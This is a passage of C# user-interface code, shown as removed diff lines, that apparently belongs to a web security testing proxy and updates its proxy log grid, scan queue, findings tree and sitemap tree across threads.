UI.Invoke(SSTS_d, new object[] { Message, Error }); - } - else - { - if (Error) - { - UI.ScanTraceStatusLbl.ForeColor = Color.Red; - } - else - { - UI.ScanTraceStatusLbl.ForeColor = Color.Black; - } - UI.ScanTraceStatusLbl.Text = Message; - UI.ScanTraceStatusLbl.Visible = true; - } - } - - delegate void ShowCurrentScanTraceStat_d(); - internal static void ShowCurrentScanTraceStat() - { - if (UI.ScanTraceStatLbl.InvokeRequired) - { - ShowCurrentScanTraceStat_d SCSTS_d = new ShowCurrentScanTraceStat_d(ShowCurrentScanTraceStat); - UI.Invoke(SCSTS_d, new object[] { }); - } - else - { - UI.ScanTraceStatLbl.Text = string.Format("Showing {0} - {1} of Scan Traces", IronTrace.ScanTraceMin, IronTrace.ScanTraceMax); - } - } - - delegate void UpdateSessionPluginTraceGrid_d(List Traces); - internal static void UpdateSessionPluginTraceGrid(List Traces) - { - if (UI.SessionPluginTraceGrid.InvokeRequired) - { - UpdateSessionPluginTraceGrid_d USTG_d = new UpdateSessionPluginTraceGrid_d(UpdateSessionPluginTraceGrid); - UI.Invoke(USTG_d, new object[] { Traces }); - } - else - { - foreach (IronTrace Trace in Traces) - { - try - { - UI.SessionPluginTraceGrid.Rows.Add(new object[] { Trace.ID, Trace.LogId, Trace.LogSource, Trace.SessionPluginName, Trace.Action, Trace.Message }); - } - catch (Exception Exp) - { - IronException.Report("Error Updating Trace in SessionPluginTraceGrid", Exp.Message, Exp.StackTrace); - } - } - } - } - - delegate void UpdateManualTestingResponse_d(Response Res, Request Req, string Reflection); - internal static void UpdateManualTestingResponse(Response Res, Request Req, string Reflection) - { - if (UI.TestResponseView.InvokeRequired) - { - UpdateManualTestingResponse_d UMTR_d = new UpdateManualTestingResponse_d(UpdateManualTestingResponse); - UI.Invoke(UMTR_d, new object[] { Res, Req, Reflection }); - } - else - { - try - { - if (ManualTesting.CurrentRequestID == Res.ID) - { - FillMTFields(Res, Req); - //FillTestReflection(Reflection); - UI.TestIDLbl.Text = "ID: " + Res.ID.ToString(); - EndMTSend(true); - } - } - catch(Exception Exp) - { - IronException.Report("Error updating MT Response", Exp.Message, Exp.StackTrace); - } - } - } - - delegate void UpdateManualTestingRequest_d(Request Req); - internal static void UpdateManualTestingRequest(Request Req) - { - if (UI.TestRequestView.InvokeRequired) - { - UpdateManualTestingRequest_d UMTR_d = new UpdateManualTestingRequest_d(UpdateManualTestingRequest); - UI.Invoke(UMTR_d, new object[] { Req }); - } - else - { - try - { - FillMTFields(Req); - //UI.MTIsSSLCB.Checked = Req.SSL; - UI.TestIDLbl.Text = "ID: 0"; - EndMTSend(false); - } - catch(Exception Exp) - { - IronException.Report("Error updating MT Request", Exp.Message, Exp.StackTrace); - } - } - } - delegate void UpdateProxyLogGrid_d(List Requests, List Responses); - internal static void UpdateProxyLogGrid(List Requests, List Responses) - { - if (UI.ProxyLogGrid.InvokeRequired) - { - UpdateProxyLogGrid_d UPLG_d = new UpdateProxyLogGrid_d(UpdateProxyLogGrid); - UI.Invoke(UPLG_d, new object[] { Requests, Responses }); - } - else - { - foreach (Request Req in Requests) - { - if (UI.ProxyLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - int GridID = UI.ProxyLogGrid.Rows.Add(new object[] { Req.ID, Req.Host, Req.Method, Req.URL, Req.StoredFile, Req.SSL, Req.StoredParameters }); - IronUpdater.ProxyGridMap.Add(Req.ID, GridID); - if (Req.ID > IronLog.ProxyMax) IronLog.ProxyMax = Req.ID; - if (Req.ID < IronLog.ProxyMin || IronLog.ProxyMin < 1) IronLog.ProxyMin = Req.ID; - UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(Req.Method, Req.Host, Req.StoredFile, 0, null, false); - } - catch(Exception exp) - { - IronException.Report("Error Updating Proxy LogGrid", exp.Message, exp.StackTrace); - } - } - - foreach (Response Res in Responses) - { - if (IronUpdater.ProxyGridMap.ContainsKey(Res.ID)) - { - bool MatchFound = true; - try - { - int GridID = IronUpdater.ProxyGridMap[Res.ID]; - if (!((int)UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForID"].Value == Res.ID)) - { - MatchFound = false; - foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) - { - if ((int)Row.Cells["ProxyLogGridColumnForID"].Value == Res.ID) - { - GridID = Row.Index; - MatchFound = true; - break; - } - } - } - if (MatchFound) - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForCode"].Value = Res.Code; - if (Res.BodyArray != null) - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = Res.BodyArray.Length; - } - else - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = 0; - } - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForMIME"].Value = Res.ContentType; - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); - if (UI.ProxyLogGrid.Rows[GridID].Visible) - { - UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(null, null, null, Res.Code, Res.ContentType, Res.BodyLength == 0); - } - } - IronUpdater.ProxyGridMap.Remove(Res.ID); - } - catch(Exception exp) - { - IronException.Report("Error Updating Proxy LogGrid", exp.Message, exp.StackTrace); - } - } - else - { - //IronException.Report("Matching Request missing in Proxy LogGrid", string.Format("Request ID - {0} is missing from the Proxy LogGrid", new object[]{ Res.ID.ToString()}), Res.ToString()); - } - } - ShowCurrentLogStat(); - } - } - - delegate void UpdateProxyLogGridWithArrs_d(List RequestArrs, List ResponseArrs); - internal static void UpdateProxyLogGridWithArrs(List RequestArrs, List ResponseArrs) - { - if (UI.ProxyLogGrid.InvokeRequired) - { - UpdateProxyLogGridWithArrs_d UPLGWA_d = new UpdateProxyLogGridWithArrs_d(UpdateProxyLogGridWithArrs); - UI.Invoke(UPLGWA_d, new object[] { RequestArrs, ResponseArrs }); - } - else - { - foreach (Request[] ReqArr in RequestArrs) - { - if (UI.ProxyLogGrid.Rows.Count >= IronLog.MaxRowCount) break; - try - { - int GridID = UI.ProxyLogGrid.Rows.Add(new object[] { ReqArr[1].ID, ReqArr[1].Host, ReqArr[1].Method, ReqArr[1].URL, ReqArr[1].StoredFile, ReqArr[1].SSL, ReqArr[1].StoredParameters }); - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForEdited"].Value = ReqArr[0] != null; - IronUpdater.ProxyGridMap.Add(ReqArr[1].ID, GridID); - if (ReqArr[1].ID > IronLog.ProxyMax) IronLog.ProxyMax = ReqArr[1].ID; - if (ReqArr[1].ID < IronLog.ProxyMin || IronLog.ProxyMin < 1) IronLog.ProxyMin = ReqArr[1].ID; - UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(ReqArr[1].Method, ReqArr[1].Host, ReqArr[1].StoredFile, 0, null, false); - } - catch (Exception exp) - { - IronException.Report("Error Updating Proxy LogGrid", exp.Message, exp.StackTrace); - } - } - - foreach (Response[] ResArr in ResponseArrs) - { - if (IronUpdater.ProxyGridMap.ContainsKey(ResArr[1].ID)) - { - bool MatchFound = true; - try - { - int GridID = IronUpdater.ProxyGridMap[ResArr[1].ID]; - if (!((int)UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForID"].Value == ResArr[1].ID)) - { - MatchFound = false; - foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) - { - if ((int)Row.Cells["ProxyLogGridColumnForID"].Value == ResArr[1].ID) - { - GridID = Row.Index; - MatchFound = true; - break; - } - } - } - if (MatchFound) - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForCode"].Value = ResArr[1].Code; - if (ResArr[1].BodyArray != null) - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = ResArr[1].BodyArray.Length; - } - else - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = 0; - } - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForMIME"].Value = ResArr[1].ContentType; - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForSetCookie"].Value = (ResArr[1].SetCookies.Count > 0); - if (ResArr[0] != null) - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForEdited"].Value = true; - } - if (UI.ProxyLogGrid.Rows[GridID].Visible) - { - UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(null, null, null, ResArr[1].Code, ResArr[1].ContentType, ResArr[1].BodyLength == 0); - } - } - IronUpdater.ProxyGridMap.Remove(ResArr[1].ID); - } - catch (Exception exp) - { - IronException.Report("Error Updating Proxy LogGrid", exp.Message, exp.StackTrace); - } - } - else - { - //IronException.Report("Matching Request missing in Proxy LogGrid", string.Format("Request ID - {0} is missing from the Proxy LogGrid", new object[]{ Res.ID.ToString()}), Res.ToString()); - } - } - ShowCurrentLogStat(); - } - } - - - delegate void UpdateEditedProxyLogRequestEntry_d(Request Req); - internal static void UpdateEditedProxyLogRequestEntry(Request Req) - { - if (UI.ProxyLogGrid.InvokeRequired) - { - UpdateEditedProxyLogRequestEntry_d UEPLRE_d = new UpdateEditedProxyLogRequestEntry_d(UpdateEditedProxyLogRequestEntry); - UI.Invoke(UEPLRE_d, new object[] { Req }); - } - else - { - try - { - int GridID = 0; - if (IronUpdater.ProxyGridMap.ContainsKey(Req.ID)) - { - GridID = IronUpdater.ProxyGridMap[Req.ID]; - } - if (!((int)UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForID"].Value == Req.ID)) - { - foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) - { - if ((int)Row.Cells["ProxyLogGridColumnForID"].Value == Req.ID) - { - GridID = Row.Index; - break; - } - } - } - - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForMethod"].Value = Req.Method; - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForURL"].Value = Req.URL; - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForFile"].Value = Req.File; - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForParameters"].Value = Req.GetParametersString(); - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForEdited"].Value = true; - UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(Req.Method, Req.Host, Req.StoredFile, 0, null, false); - } - catch (Exception Exp) - { - IronException.Report("Error updating Edited Proxy Request in UI", Exp.Message, Exp.StackTrace); - } - } - } - - delegate void UpdateEditedProxyLogResponseEntry_d(Response Res); - internal static void UpdateEditedProxyLogResponseEntry(Response Res) - { - if (UI.ProxyLogGrid.InvokeRequired) - { - UpdateEditedProxyLogResponseEntry_d UEPLRE_d = new UpdateEditedProxyLogResponseEntry_d(UpdateEditedProxyLogResponseEntry); - UI.Invoke(UEPLRE_d, new object[] { Res }); - } - else - { - try - { - int GridID = 0; - if (IronUpdater.ProxyGridMap.ContainsKey(Res.ID)) - { - GridID = IronUpdater.ProxyGridMap[Res.ID]; - } - if (!((int)UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForID"].Value == Res.ID)) - { - foreach (DataGridViewRow Row in UI.ProxyLogGrid.Rows) - { - if ((int)Row.Cells["ProxyLogGridColumnForID"].Value == Res.ID) - { - GridID = Row.Index; - break; - } - } - } - - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForCode"].Value = Res.Code; - if (Res.BodyArray != null) - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = Res.BodyArray.Length; - } - else - { - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForLength"].Value = 0; - } - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForMIME"].Value = Res.ContentType; - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForSetCookie"].Value = (Res.SetCookies.Count > 0); - UI.ProxyLogGrid.Rows[GridID].Cells["ProxyLogGridColumnForEdited"].Value = true; - if (UI.ProxyLogGrid.Rows[GridID].Visible) - { - UI.ProxyLogGrid.Rows[GridID].Visible = IronProxy.CanDisplayRowInLogDisplay(null, null, null, Res.Code, Res.ContentType, Res.BodyLength == 0); - } - } - catch (Exception Exp) - { - IronException.Report("Error updating Edited Proxy Response in UI", Exp.Message, Exp.StackTrace); - } - } - } - - delegate void UpdateScanQueueStatuses_d(List ScanIDs, string Status); - internal static void UpdateScanQueueStatuses(List ScanIDs, string Status) - { - if (UI.CanShutdown) return; - if (UI.ASQueueGrid.InvokeRequired) - { - UpdateScanQueueStatuses_d USQS_d = new UpdateScanQueueStatuses_d(UpdateScanQueueStatuses); - UI.Invoke(USQS_d, new object[] { ScanIDs, Status }); - } - else - { - foreach (int ScanID in ScanIDs) - { - UpdateScanQueueStatus(ScanID, Status); - } - } - } - - delegate void UpdateScanQueueStatus_d(int ScanID, string Status); - internal static void UpdateScanQueueStatus(int ScanID, string Status) - { - if (UI.CanShutdown) return; - if (UI.ASQueueGrid.InvokeRequired) - { - UpdateScanQueueStatus_d USQS_d = new UpdateScanQueueStatus_d(UpdateScanQueueStatus); - UI.Invoke(USQS_d, new object[] { ScanID, Status }); - } - else - { - if (UI.ASQueueGrid.Rows.Count >= ScanID) - { - try - { - if ((int)UI.ASQueueGrid.Rows[ScanID - 1].Cells[0].Value == ScanID) - { - SetScanRowStatus(UI.ASQueueGrid.Rows[ScanID -1], Status); - return; - } - } - catch { } - } - - foreach (DataGridViewRow Row in UI.ASQueueGrid.Rows) - { - int RowScanID = 0; - try - { - RowScanID = (int)Row.Cells[0].Value; - } - catch - { - continue; - } - if (RowScanID == ScanID) - { - SetScanRowStatus(Row, Status); - return; - } - } - } - } - - static void SetScanRowStatus(DataGridViewRow Row, string Status) - { - Row.Cells[1].Value = Status; - switch (Status) - { - case "Running": - Row.DefaultCellStyle.BackColor = Color.Green; - break; - case "Aborted": - Row.DefaultCellStyle.BackColor = Color.Red; - break; - case "Completed": - Row.DefaultCellStyle.BackColor = Color.Gray; - break; - case "Incomplete": - case "Stopped": - Row.DefaultCellStyle.BackColor = Color.IndianRed; - break; - default: - Row.DefaultCellStyle.BackColor = Color.White; - break; - } - } - - delegate void CreateScan_d(int ScanID, string Status, string Method, string Url); - internal static void CreateScan(int ScanID, string Status, string Method, string Url) - { - if (UI.ASQueueGrid.InvokeRequired) - { - CreateScan_d CS_d = new CreateScan_d(CreateScan); - UI.Invoke(CS_d, new object[] { ScanID, Status, Method, Url }); - } - else - { - int GridID = UI.ASQueueGrid.Rows.Add(new object[] { ScanID, Status, Method, Url }); - DataGridViewRow Row = null; - try - { - Row = UI.ASQueueGrid.Rows[GridID]; - } - catch - { - return; - } - switch (Status) - { - case "Running": - Row.DefaultCellStyle.BackColor = Color.Green; - break; - case "Aborted": - Row.DefaultCellStyle.BackColor = Color.Red; - break; - case "Completed": - Row.DefaultCellStyle.BackColor = Color.Gray; - break; - case "Incomplete": - case "Stopped": - Row.DefaultCellStyle.BackColor = Color.IndianRed; - break; - default: - Row.DefaultCellStyle.BackColor = Color.White; - break; - } - if (!UI.main_tab.SelectedTab.Name.Equals("mt_auto")) - { - try - { - UI.ASQueueGrid.FirstDisplayedScrollingRowIndex = GridID; - } - catch { } - } - } - } - - delegate void ShowScanJobsQueue_d(); - internal static void ShowScanJobsQueue() - { - if (UI.ASQueueGrid.InvokeRequired) - { - ShowScanJobsQueue_d SSJQ_d = new ShowScanJobsQueue_d(ShowScanJobsQueue); - UI.Invoke(SSJQ_d, new object[] { }); - } - else - { - if(!UI.main_tab.SelectedTab.Name.Equals("mt_auto")) UI.main_tab.SelectTab("mt_auto"); - if (!UI.ASMainTabs.SelectedTab.Name.Equals("ASConfigureTab")) UI.ASMainTabs.SelectTab("ASConfigureTab"); - } - } - - //delegate void FillAndShowJavaScriptTester_d(string Input); - //internal static void FillAndShowJavaScriptTester(string Input) - //{ - // if (UI.JSTaintTraceInRTB.InvokeRequired) - // { - // FillAndShowJavaScriptTester_d FASJT_d = new FillAndShowJavaScriptTester_d(FillAndShowJavaScriptTester); - // UI.Invoke(FASJT_d, new object[] { Input}); - // } - // else - // { - // UI.JSTaintTraceInRTB.Text = Input; - // if (!UI.main_tab.SelectedTab.Name.Equals("mt_js")) UI.main_tab.SelectTab("mt_js"); - // if (!UI.JSTaintTabs.SelectedTab.Name.Equals("JSTaintInputTab")) UI.JSTaintTabs.SelectTab("JSTaintInputTab"); - // } - //} - - public delegate void UpdatePluginResultTree_d(List PRs); - public static void UpdatePluginResultTree(List PRs) - { - if (UI.IronTree.InvokeRequired) - { - UpdatePluginResultTree_d UPRT_d = new UpdatePluginResultTree_d(UpdatePluginResultTree); - UI.Invoke(UPRT_d, new object[] { PRs }); - } - else - { - if (UI.IronTree == null) return; - - UI.IronTree.BeginUpdate(); - UI.IronTree.Enabled = false; - foreach (Finding PR in PRs) - { - if (PR.Type == FindingType.Vulnerability) - { - string Title = ""; - if (PR.Confidence == FindingConfidence.High) - { - //Title = "+++ " + PR.Title; - Title = "+++ " + PR.Id.ToString(); - } - else if (PR.Confidence == FindingConfidence.Medium) - { - //Title = "++- " + PR.Title; - Title = "++- " + PR.Id.ToString(); - } - else if (PR.Confidence == FindingConfidence.Low) - { - //Title = "+-- " + PR.Title; - Title = "+-- " + PR.Id.ToString(); - } - if (PR.Severity == FindingSeverity.High) - { - if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes.ContainsKey(PR.AffectedHost)) - { - UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes.Add(PR.AffectedHost, PR.AffectedHost); - } - //if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) - if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) - { - //UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); - UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); - } - //UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), Title); - UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), Title); - } - else if (PR.Severity == FindingSeverity.Medium) - { - if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes.ContainsKey(PR.AffectedHost)) - { - UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes.Add(PR.AffectedHost, PR.AffectedHost); - } - //if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) - if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) - { - //UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); - UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); - } - //UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), Title); - UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), Title); - } - else if (PR.Severity == FindingSeverity.Low) - { - if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes.ContainsKey(PR.AffectedHost)) - { - UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes.Add(PR.AffectedHost, PR.AffectedHost); - } - //if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) - if (!UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) - { - //UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); - UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); - } - //UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), Title); - UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), Title); - } - } - else if (PR.Type == FindingType.TestLead) - { - if (!UI.IronTree.Nodes[0].Nodes[1].Nodes.ContainsKey(PR.AffectedHost)) - { - UI.IronTree.Nodes[0].Nodes[1].Nodes.Add(PR.AffectedHost, PR.AffectedHost); - } - //if (!UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) - if (!UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) - { - //UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); - UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); - } - //UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), PR.Title); - UI.IronTree.Nodes[0].Nodes[1].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), PR.Id.ToString()); - } - else if (PR.Type == FindingType.Information) - { - if (!UI.IronTree.Nodes[0].Nodes[2].Nodes.ContainsKey(PR.AffectedHost)) - { - UI.IronTree.Nodes[0].Nodes[2].Nodes.Add(PR.AffectedHost, PR.AffectedHost); - } - //if (!UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Plugin)) - if (!UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.ContainsKey(PR.Title)) - { - //UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.Add(PR.Plugin, PR.Plugin); - UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes.Add(PR.Title, PR.Title); - } - //UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes[PR.Plugin].Nodes.Add(PR.Id.ToString(), PR.Title); - UI.IronTree.Nodes[0].Nodes[2].Nodes[PR.AffectedHost].Nodes[PR.Title].Nodes.Add(PR.Id.ToString(), PR.Id.ToString()); - } - } - int HighVulnerabilityCount = 0; - foreach (TreeNode HighNode in UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Nodes) - { - int HostHighVulnerabilityCount = 0; - foreach (TreeNode PluginNode in HighNode.Nodes) - { - HostHighVulnerabilityCount = HostHighVulnerabilityCount + PluginNode.Nodes.Count; - if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; - } - HighVulnerabilityCount = HighVulnerabilityCount + HostHighVulnerabilityCount; - if (HostHighVulnerabilityCount > 0) HighNode.Text = HighNode.Name + " (" + HostHighVulnerabilityCount.ToString() + ")"; - } - int MediumVulnerabilityCount = 0; - foreach (TreeNode MediumNode in UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Nodes) - { - int HostMediumVulnerabilityCount = 0; - foreach (TreeNode PluginNode in MediumNode.Nodes) - { - HostMediumVulnerabilityCount = HostMediumVulnerabilityCount + PluginNode.Nodes.Count; - if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; - } - MediumVulnerabilityCount = MediumVulnerabilityCount + HostMediumVulnerabilityCount; - if (HostMediumVulnerabilityCount > 0) MediumNode.Text = MediumNode.Name + " (" + HostMediumVulnerabilityCount.ToString() + ")"; - } - int LowVulnerabilityCount = 0; - foreach (TreeNode LowNode in UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Nodes) - { - int HostLowVulnerabilityCount = 0; - foreach (TreeNode PluginNode in LowNode.Nodes) - { - HostLowVulnerabilityCount = HostLowVulnerabilityCount + PluginNode.Nodes.Count; - if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; - } - LowVulnerabilityCount = LowVulnerabilityCount + HostLowVulnerabilityCount; - if (HostLowVulnerabilityCount > 0) LowNode.Text = LowNode.Name + " (" + HostLowVulnerabilityCount.ToString() + ")"; - } - int VulnerabilityCount = HighVulnerabilityCount + MediumVulnerabilityCount + LowVulnerabilityCount ; - - int TestLeadCount = 0; - foreach (TreeNode TestLeadNode in UI.IronTree.Nodes[0].Nodes[1].Nodes) - { - int HostTestLeadCount = 0; - foreach (TreeNode PluginNode in TestLeadNode.Nodes) - { - HostTestLeadCount = HostTestLeadCount + PluginNode.Nodes.Count; - if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; - } - TestLeadCount = TestLeadCount + HostTestLeadCount; - if (HostTestLeadCount > 0) TestLeadNode.Text = TestLeadNode.Name + " (" + HostTestLeadCount.ToString() + ")"; - } - int InformationCount = 0; - foreach (TreeNode InformationNode in UI.IronTree.Nodes[0].Nodes[2].Nodes) - { - int HostInformationCount = 0; - foreach (TreeNode PluginNode in InformationNode.Nodes) - { - HostInformationCount = HostInformationCount + PluginNode.Nodes.Count; - if (PluginNode.Nodes.Count > 0) PluginNode.Text = PluginNode.Name + " (" + PluginNode.Nodes.Count.ToString() + ")"; - } - InformationCount = InformationCount + HostInformationCount; - if (HostInformationCount > 0) InformationNode.Text = InformationNode.Name + " (" + HostInformationCount.ToString() + ")"; - } - - if(HighVulnerabilityCount > 0) UI.IronTree.Nodes[0].Nodes[0].Nodes[0].Text = "High (" + HighVulnerabilityCount.ToString() + ")"; - if(MediumVulnerabilityCount > 0) UI.IronTree.Nodes[0].Nodes[0].Nodes[1].Text = "Medium (" + MediumVulnerabilityCount.ToString() + ")"; - if(LowVulnerabilityCount > 0 ) UI.IronTree.Nodes[0].Nodes[0].Nodes[2].Text = "Low (" + LowVulnerabilityCount.ToString() + ")"; - if (VulnerabilityCount > 0) UI.IronTree.Nodes[0].Nodes[0].Text = "Vulnerabilities (" + VulnerabilityCount.ToString() + ")"; - if(TestLeadCount > 0 ) UI.IronTree.Nodes[0].Nodes[1].Text = "Test Leads (" + TestLeadCount.ToString() + ")"; - if(InformationCount > 0) UI.IronTree.Nodes[0].Nodes[2].Text = "Information (" + InformationCount.ToString() + ")"; - - UI.IronTree.Enabled = true; - UI.IronTree.EndUpdate(); - } - } - - - public delegate void UpdateSitemapTree_d(List> Urls); - public static void UpdateSitemapTree(List> Urls) - { - if (UI.IronTree.InvokeRequired) - { - UpdateSitemapTree_d UST_d = new UpdateSitemapTree_d(UpdateSitemapTree); - UI.Invoke(UST_d, new object[] { Urls }); - } - else - { - if (UI.IronTree == null) return; - - UI.IronTree.BeginUpdate(); - UI.IronTree.Enabled = false; - TreeNode SiteMapNode = UI.IronTree.Nodes[0].Nodes["SiteMap"]; - foreach (List Url in Urls) - { - int KeyLoc = SiteMapNode.Nodes.IndexOfKey(Url[0]); - if (KeyLoc < 0) - { - TreeNode Node = SiteMapNode.Nodes.Add(Url[0], Url[0]); - KeyLoc = Node.Index; - } - UpdateUrlNodesRecursively(SiteMapNode.Nodes[KeyLoc], Url, 1); - } - UI.IronTree.Enabled = true; - UI.IronTree.EndUpdate(); - } - } - - static void UpdateUrlNodesRecursively(TreeNode Node, List Url, int CurrentLevel) - { - if (Url[CurrentLevel] == "") - { - TreeNode EndNode; - if (CurrentLevel == 1) - { - if (!Node.Nodes.ContainsKey("/")) - { - EndNode = Node.Nodes.Add("/", "/"); - } - else - { - EndNode = Node.Nodes["/"]; - } - } - else - { - EndNode = Node; - } - if (Url.Count > CurrentLevel + 1) - { - if (Url[CurrentLevel + 1].Length > 0) - { - UpdateQueryStringToNode(EndNode, Url[CurrentLevel + 1]); - } - } - } - else - { - if (!Node.Nodes.ContainsKey(Url[CurrentLevel])) - { - TreeNode ChildNode = Node.Nodes.Add(Url[CurrentLevel], Url[CurrentLevel]); - CurrentLevel++; - UpdateUrlNodesRecursively(ChildNode, Url, CurrentLevel); - } - else - { - TreeNode ChildNode = Node.Nodes[Url[CurrentLevel]]; - CurrentLevel++; - UpdateUrlNodesRecursively(ChildNode, Url, CurrentLevel); - } - } - } - - static void UpdateQueryStringToNode(TreeNode Node, string QueryString) - { - if (!Node.Nodes.ContainsKey(QueryString)) - { - Node.Nodes.Add(QueryString, QueryString); - } - } - - - internal static bool IsExceptionsNodeSelected() - { - TreeNode Node = UI.IronTree.SelectedNode; - if (Node == null) return false; - if (Node.Level == 2 && Node.Parent.Index == 3) - { - return true; - } - return false; - } - internal static bool IsFindingsNodeSelected() - { - TreeNode Node = UI.IronTree.SelectedNode; - if (Node == null) return false; - if (Node.Level == 4 && (Node.Parent.Parent.Parent.Index == 1 || Node.Parent.Parent.Parent.Index == 2)) - { - return true; - } - else if (Node.Level == 